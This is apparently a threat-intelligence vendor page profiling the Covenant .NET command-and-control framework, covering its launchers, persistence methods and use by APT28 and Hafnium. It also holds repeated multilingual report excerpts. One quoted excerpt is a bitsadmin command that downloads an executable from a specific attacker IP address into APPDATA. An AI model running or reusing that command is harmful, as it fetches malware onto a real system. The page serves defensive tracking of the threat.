Loading malware…
Covenant is an open-source C#/.NET command-and-control and post-exploitation framework first released in 2019. It is widely used in adversary intrusions as well as red-team operations, and centers on implants known as Grunts that communicate with an operator-controlled server and execute tasks on compromised systems. The framework supports multiple launcher and staging options, including HTA, COM scriptlet, and MSBuild-based delivery and execution paths, and can establish command and control over HTTP.
Covenant is primarily associated with Windows environments because it relies on the .NET ecosystem and common Windows execution mechanisms. Reported abuse includes in-memory deployment, PowerShell-based launchers that decode and decompress .NET assemblies, persistence through Registry Run keys, scheduled tasks, and WMI event subscriptions, and use as a post-compromise framework following exploitation or initial access by other malware. It has appeared alongside other offensive tooling in intrusions involving Exchange exploitation, phishing-led compromise chains, and loader-delivered post-exploitation activity.
Multiple threat actors have used Covenant operationally. Microsoft reported its deployment by the China-linked Hafnium group during exploitation of Microsoft Exchange Server vulnerabilities in 2021. More recently, Sednit/APT28 heavily modified Covenant for long-term espionage against Ukrainian military personnel, drone manufacturers, and related organizations. In those operations, the group reworked the framework’s execution flow, adapted implant identification for durable tracking of victims, and added cloud-based command-and-control protocols through services such as pCloud, Koofr, and Filen. Modified Covenant variants in these campaigns were also used with steganographic payload concealment and in-memory execution to support stealth and resilience.
In observed campaigns, Covenant has functioned as a flexible post-exploitation platform capable of executing PowerShell and .NET assemblies, maintaining persistence, and supporting follow-on reconnaissance, credential access, lateral movement preparation, and long-term surveillance. Because it is an openly available framework with extensive customization potential, operational behavior can vary significantly between deployments, especially when threat actors modify the codebase for espionage or defense evasion.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Spoločnosť Microsoft vydala mimoriadne bezpečnostné aktualizácie kancelárskeho balíka Microsoft Office, ktoré opravujú aktívne zneužívanú zero-day zraniteľnosť. CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom. | Cieľom je nainštalovať malvér MiniDoor (kradne e-maily) a PixyNetLoader, ktorý nainštaluje útočný nástroj Covenant.
6 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang.
Cieľom je nainštalovať malvér MiniDoor (kradne e-maily) a PixyNetLoader, ktorý nainštaluje útočný nástroj Covenant.
"...execute payloads based on Donut and the Covenant post-exploitation framework."
The attackers also customized the Covenant red-team framework to route encrypted command-and-control traffic through Koofr and Icedrive cloud services, making detection difficult.
In the recent attacks, the Russian threat group paired BeardShell with a heavily modified version of the open-source Covenant .NET post-exploitation framework.
35 distinct techniques documented for this family, organized by ATT&CK tactic.
恶意文件类型多种多样,其中包括但不限于EXE、MS Office 宏文档、漏洞文档、LNK文件、VBS 脚本、PowerShell 脚本等。
Execution matrix 1 Technique Count Frameworks Windows Command Shell 10/10
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
CreateProcessWithLogonW ... provides a native way to spawn a new process with different network-only credentials ... the built in Windows utility, runas, is a simple wrapper around CreateProcessWithLogonW and the /NETONLY flag provides a native way to spawn a new process with different network-only credentials.
Persistence matrix 2 Technique Count Framework Windows Service 4/10
Persistence matrix 2 Technique Count Framework WMI Event Subscription 4/10
并使用QueueUserAPC函将该APC对象加入到指定线程的APC队列中从而进行进入到Shellcode入口处执行恶意操作。
These threats demonstrate techniques T1127 (Trusted Developer Utilities) and T1500 (Compile After Delivery) of MITRE ATT&CK framework.
Access Token Manipulation (ATT&CK technique: T1134) ... this section will explain how attackers can abuse access tokens and target the fundamental trust relationships in Windows domains to compromise entire networks.
bitsadmin /transfer a8f4 http://95.179.177.157:8081/asdfd CSIDL_APPDATA\a8f4.exe
CVE-2026-21509 možno zneužiť podvrhnutím špeciálne vytvorených súborov na obídenie bezpečnostných mechanizmov pre ochranu pred zneužitím niektorých funkcií COM/OLE a získanie úplnej kontroly nad systémom.
APT29 has use mshta to execute malicious scripts on a compromised host... APT32 has used mshta.exe for code execution... APT38 has used a renamed version of mshta.exe to execute malicious HTML files... FIN7 has used mshta.exe to execute VBScript to execute malicious code on victim systems.
BeardShell ... leverages the legitimate cloud storage service Icedrive as its C&C channel... Previously, in 2023, Sednit’s Covenant abused the legitimate cloud service pCloud, and in 2024–2025, Koofr ... Figure 11 shows the classes introduced by Sednit developers to communicate with the Filen cloud provider, used since July 2025.
99 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
67 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Modified implant/loader used to embed shellcode into PNG files for steganographic delivery, extract it at runtime, recover C2 information from cloud-hosted images, and communicate through Filen, pCloud, and Koofr.
A customized in-memory deployment of the Covenant framework used in Operation Phantom Net Voxel as part of APT28's modern implant chain.
An implant used by Sednit against Ukrainian military personnel and drone-related organizations.
An offensive .NET framework referenced here as the basis for the modified CovenantGrunt implant used for fileless post-exploitation and cloud-based C2.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.